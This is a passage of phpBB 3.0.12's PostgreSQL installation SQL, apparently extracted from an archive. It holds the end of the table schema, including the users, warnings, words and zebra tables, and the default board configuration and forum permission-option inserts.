INT4 DEFAULT nextval('phpbb_users_seq'), user_type INT2 DEFAULT '0' NOT NULL, group_id INT4 DEFAULT '3' NOT NULL CHECK (group_id >= 0), user_permissions TEXT DEFAULT '' NOT NULL, user_perm_from INT4 DEFAULT '0' NOT NULL CHECK (user_perm_from >= 0), user_ip varchar(40) DEFAULT '' NOT NULL, user_regdate INT4 DEFAULT '0' NOT NULL CHECK (user_regdate >= 0), username varchar_ci DEFAULT '' NOT NULL, username_clean varchar_ci DEFAULT '' NOT NULL, user_password varchar(40) DEFAULT '' NOT NULL, user_passchg INT4 DEFAULT '0' NOT NULL CHECK (user_passchg >= 0), user_pass_convert INT2 DEFAULT '0' NOT NULL CHECK (user_pass_convert >= 0), user_email varchar(100) DEFAULT '' NOT NULL, user_email_hash INT8 DEFAULT '0' NOT NULL, user_birthday varchar(10) DEFAULT '' NOT NULL, user_lastvisit INT4 DEFAULT '0' NOT NULL CHECK (user_lastvisit >= 0), user_lastmark INT4 DEFAULT '0' NOT NULL CHECK (user_lastmark >= 0), user_lastpost_time INT4 DEFAULT '0' NOT NULL CHECK (user_lastpost_time >= 0), user_lastpage varchar(200) DEFAULT '' NOT NULL, user_last_confirm_key varchar(10) DEFAULT '' NOT NULL, user_last_search INT4 DEFAULT '0' NOT NULL CHECK (user_last_search >= 0), user_warnings INT2 DEFAULT '0' NOT NULL, user_last_warning INT4 DEFAULT '0' NOT NULL CHECK (user_last_warning >= 0), user_login_attempts INT2 DEFAULT '0' NOT NULL, user_inactive_reason INT2 DEFAULT '0' NOT NULL, user_inactive_time INT4 DEFAULT '0' NOT NULL CHECK (user_inactive_time >= 0), user_posts INT4 DEFAULT '0' NOT NULL CHECK (user_posts >= 0), user_lang varchar(30) DEFAULT '' NOT NULL, user_timezone decimal(5,2) DEFAULT '0' NOT NULL, user_dst INT2 DEFAULT '0' NOT NULL CHECK (user_dst >= 0), user_dateformat varchar(30) DEFAULT 'd M Y H:i' NOT NULL, user_style INT4 DEFAULT '0' NOT NULL CHECK (user_style >= 0), user_rank INT4 DEFAULT '0' NOT NULL CHECK (user_rank >= 0), user_colour varchar(6) DEFAULT '' NOT NULL, user_new_privmsg INT4 DEFAULT '0' NOT NULL, user_unread_privmsg INT4 DEFAULT '0' NOT NULL, user_last_privmsg INT4 DEFAULT '0' NOT NULL CHECK (user_last_privmsg >= 0), user_message_rules INT2 DEFAULT '0' NOT NULL CHECK (user_message_rules >= 0), user_full_folder INT4 DEFAULT '-3' NOT NULL, user_emailtime INT4 DEFAULT '0' NOT NULL CHECK (user_emailtime >= 0), user_topic_show_days INT2 DEFAULT '0' NOT NULL CHECK (user_topic_show_days >= 0), user_topic_sortby_type varchar(1) DEFAULT 't' NOT NULL, user_topic_sortby_dir varchar(1) DEFAULT 'd' NOT NULL, user_post_show_days INT2 DEFAULT '0' NOT NULL CHECK (user_post_show_days >= 0), user_post_sortby_type varchar(1) DEFAULT 't' NOT NULL, user_post_sortby_dir varchar(1) DEFAULT 'a' NOT NULL, user_notify INT2 DEFAULT '0' NOT NULL CHECK (user_notify >= 0), user_notify_pm INT2 DEFAULT '1' NOT NULL CHECK (user_notify_pm >= 0), user_notify_type INT2 DEFAULT '0' NOT NULL, user_allow_pm INT2 DEFAULT '1' NOT NULL CHECK (user_allow_pm >= 0), user_allow_viewonline INT2 DEFAULT '1' NOT NULL CHECK (user_allow_viewonline >= 0), user_allow_viewemail INT2 DEFAULT '1' NOT NULL CHECK (user_allow_viewemail >= 0), user_allow_massemail INT2 DEFAULT '1' NOT NULL CHECK (user_allow_massemail >= 0), user_options INT4 DEFAULT '230271' NOT NULL CHECK (user_options >= 0), user_avatar varchar(255) DEFAULT '' NOT NULL, user_avatar_type INT2 DEFAULT '0' NOT NULL, user_avatar_width INT2 DEFAULT '0' NOT NULL CHECK (user_avatar_width >= 0), user_avatar_height INT2 DEFAULT '0' NOT NULL CHECK (user_avatar_height >= 0), user_sig TEXT DEFAULT '' NOT NULL, user_sig_bbcode_uid varchar(8) DEFAULT '' NOT NULL, user_sig_bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, user_from varchar(100) DEFAULT '' NOT NULL, user_icq varchar(15) DEFAULT '' NOT NULL, user_aim varchar(255) DEFAULT '' NOT NULL, user_yim varchar(255) DEFAULT '' NOT NULL, user_msnm varchar(255) DEFAULT '' NOT NULL, user_jabber varchar(255) DEFAULT '' NOT NULL, user_website varchar(200) DEFAULT '' NOT NULL, user_occ varchar(4000) DEFAULT '' NOT NULL, user_interests varchar(4000) DEFAULT '' NOT NULL, user_actkey varchar(32) DEFAULT '' NOT NULL, user_newpasswd varchar(40) DEFAULT '' NOT NULL, user_form_salt varchar(32) DEFAULT '' NOT NULL, user_new INT2 DEFAULT '1' NOT NULL CHECK (user_new >= 0), user_reminded INT2 DEFAULT '0' NOT NULL, user_reminded_time INT4 DEFAULT '0' NOT NULL CHECK (user_reminded_time >= 0), PRIMARY KEY (user_id) ); CREATE INDEX phpbb_users_user_birthday ON phpbb_users (user_birthday); CREATE INDEX phpbb_users_user_email_hash ON phpbb_users (user_email_hash); CREATE INDEX phpbb_users_user_type ON phpbb_users (user_type); CREATE UNIQUE INDEX phpbb_users_username_clean ON phpbb_users (username_clean); /* Table: 'phpbb_warnings' */ CREATE SEQUENCE phpbb_warnings_seq; CREATE TABLE phpbb_warnings ( warning_id INT4 DEFAULT nextval('phpbb_warnings_seq'), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), post_id INT4 DEFAULT '0' NOT NULL CHECK (post_id >= 0), log_id INT4 DEFAULT '0' NOT NULL CHECK (log_id >= 0), warning_time INT4 DEFAULT '0' NOT NULL CHECK (warning_time >= 0), PRIMARY KEY (warning_id) ); /* Table: 'phpbb_words' */ CREATE SEQUENCE phpbb_words_seq; CREATE TABLE phpbb_words ( word_id INT4 DEFAULT nextval('phpbb_words_seq'), word varchar(255) DEFAULT '' NOT NULL, replacement varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (word_id) ); /* Table: 'phpbb_zebra' */ CREATE TABLE phpbb_zebra ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), zebra_id INT4 DEFAULT '0' NOT NULL CHECK (zebra_id >= 0), friend INT2 DEFAULT '0' NOT NULL CHECK (friend >= 0), foe INT2 DEFAULT '0' NOT NULL CHECK (foe >= 0), PRIMARY KEY (user_id, zebra_id) ); COMMIT;PK‰† [rcP~A~Aschemas/schema_data.sqlnuW+A„¶# # $Id$ # # POSTGRES BEGIN # # -- Config INSERT INTO phpbb_config (config_name, config_value) VALUES ('active_sessions', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_attachments', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_autologin', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_avatar', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_avatar_local', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_avatar_remote', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_avatar_upload', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_avatar_remote_upload', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_bbcode', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_birthdays', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_bookmarks', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_emailreuse', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_forum_notify', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_mass_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_name_chars', 'USERNAME_CHARS_ANY'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_namechange', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_nocensors', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_pm_attach', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_pm_report', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_post_flash', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_post_links', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_privmsg', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_quick_reply', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_bbcode', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_flash', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_img', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_links', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_sig_smilies', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_smilies', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('allow_topic_notify', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('attachment_quota', '52428800'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('auth_bbcode_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('auth_flash_pm', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('auth_img_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('auth_method', 'db'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('auth_smilies_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_filesize', '6144'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_gallery_path', 'images/avatars/gallery'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_max_height', '90'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_max_width', '90'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_min_height', '20'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_min_width', '20'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_path', 'images/avatars/upload'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('avatar_salt', 'phpbb_avatar'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_contact', 'contact@yourdomain.tld'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_disable', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_disable_msg', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_dst', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_email', 'address@yourdomain.tld'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_email_form', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_email_sig', '{L_CONFIG_BOARD_EMAIL_SIG}'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_hide_emails', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('board_timezone', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('browser_check', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('bump_interval', '10'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('bump_type', 'd'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('cache_gc', '7200'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_plugin', 'phpbb_captcha_nogd'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_foreground_noise', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_x_grid', '25'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_y_grid', '25'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_wave', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_3d_noise', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('captcha_gd_fonts', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('confirm_refresh', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('check_attachment_content', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('check_dnsbl', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('chg_passforce', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('cookie_domain', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('cookie_name', 'phpbb3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('cookie_path', '/'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('cookie_secure', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('coppa_enable', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('coppa_fax', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('coppa_mail', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('database_gc', '604800'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('dbms_version', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('default_dateformat', 'D M d, Y g:i a'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('default_style', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('display_last_edited', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('display_order', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('edit_time', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('delete_time', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('email_check_mx', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('email_enable', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('email_function_name', 'mail'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('email_max_chunk_size', '50'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('email_package_size', '20'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('enable_confirm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('enable_pm_icons', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('enable_post_confirm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_enable', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_http_auth', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_limit_post', '15'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_limit_topic', '10'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_overall_forums', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_overall', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_forum', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_topic', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_topics_new', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_topics_active', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('feed_item_statistics', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('flood_interval', '15'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('force_server_vars', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('form_token_lifetime', '7200'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('form_token_mintime', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('form_token_sid_guests', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('forward_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('forwarded_for_check', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('full_folder_action', '2'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_mysql_max_word_len', '254'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_mysql_min_word_len', '4'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_native_common_thres', '5'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_native_load_upd', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_native_max_chars', '14'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('fulltext_native_min_chars', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('gzip_compress', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('hot_threshold', '25'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('icons_path', 'images/icons'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_create_thumbnail', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_display_inlined', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_imagick', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_link_height', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_link_width', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_max_height', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_max_thumb_width', '400'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_max_width', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('img_min_thumb_filesize', '12000'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ip_check', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ip_login_limit_max', '50'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ip_login_limit_time', '21600'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ip_login_limit_use_forwarded', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_enable', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_host', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_password', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_package_size', '20'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_port', '5222'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_use_ssl', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('jab_username', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_base_dn', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_email', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_password', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_port', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_server', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_uid', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_user', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ldap_user_filter', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('limit_load', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('limit_search_load', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_anon_lastread', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_birthdays', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_cpf_memberlist', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_cpf_viewprofile', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_cpf_viewtopic', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_db_lastread', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_db_track', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_jumpbox', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_moderators', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_online', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_online_guests', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_online_time', '5'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_onlinetrack', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_search', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_tplcompile', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_unreads_search', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('load_user_activity', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_attachments', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_attachments_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_autologin_time', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_filesize', '262144'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_filesize_pm', '262144'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_login_attempts', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_name_chars', '20'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_num_search_keywords', '10'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_pass_chars', '100'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_poll_options', '10'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_chars', '60000'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_font_size', '200'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_img_height', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_img_width', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_smilies', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_post_urls', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_quote_depth', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_reg_attempts', '5'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_chars', '255'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_font_size', '200'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_img_height', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_img_width', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_smilies', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('max_sig_urls', '5'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('min_name_chars', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('min_pass_chars', '6'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('min_post_chars', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('min_search_author_chars', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('mime_triggers', 'body|head|html|img|plaintext|a href|pre|script|table|title'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('new_member_post_limit', '3'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('new_member_group_default', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('override_user_style', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('pass_complex', 'PASS_TYPE_ANY'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('pm_edit_time', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('pm_max_boxes', '4'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('pm_max_msgs', '50'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('pm_max_recipients', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('posts_per_page', '10'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('print_pm', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('queue_interval', '60'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('ranks_path', 'images/ranks'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('require_activation', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('referer_validation', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('script_path', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_block_size', '250'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_gc', '7200'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_interval', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_anonymous_interval', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_type', 'fulltext_native'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('search_store_results', '1800'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('secure_allow_deny', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('secure_allow_empty_referer', '1'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('secure_downloads', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('server_name', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('server_port', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('server_protocol', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('session_gc', '3600'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('session_length', '3600'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('site_desc', '{L_CONFIG_SITE_DESC}'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('sitename', '{L_CONFIG_SITENAME}'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smilies_path', 'images/smilies'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smilies_per_page', '50'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_auth_method', 'PLAIN'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_delivery', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_host', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_password', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_port', '25'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('smtp_username', ''); INSERT INTO phpbb_config (config_name, config_value) VALUES ('topics_per_page', '25'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('tpl_allow_php', '0'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('upload_icons_path', 'images/upload_icons'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('upload_path', 'files'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('version', '3.0.12'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('warnings_expire_days', '90'); INSERT INTO phpbb_config (config_name, config_value) VALUES ('warnings_gc', '14400'); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('cache_last_gc', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('cron_lock', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('database_last_gc', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('last_queue_run', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('newest_user_colour', 'AA0000', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('newest_user_id', '2', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('newest_username', '', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('num_files', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('num_posts', '1', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('num_topics', '1', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('num_users', '1', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('rand_seed', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('rand_seed_last_update', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('record_online_date', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('record_online_users', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('search_indexing_state', '', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('search_last_gc', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('session_last_gc', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('upload_dir_size', '0', 1); INSERT INTO phpbb_config (config_name, config_value, is_dynamic) VALUES ('warnings_last_gc', '0', 1); # -- Forum related auth options INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_announce', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_attach', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_bbcode', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_bump', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_delete', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_download', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_edit', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_email', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_flash', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_icons', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_ignoreflood', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_img', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_list', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_noapprove', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_poll', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_post', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_postcount', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_print', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_read', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_reply', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) 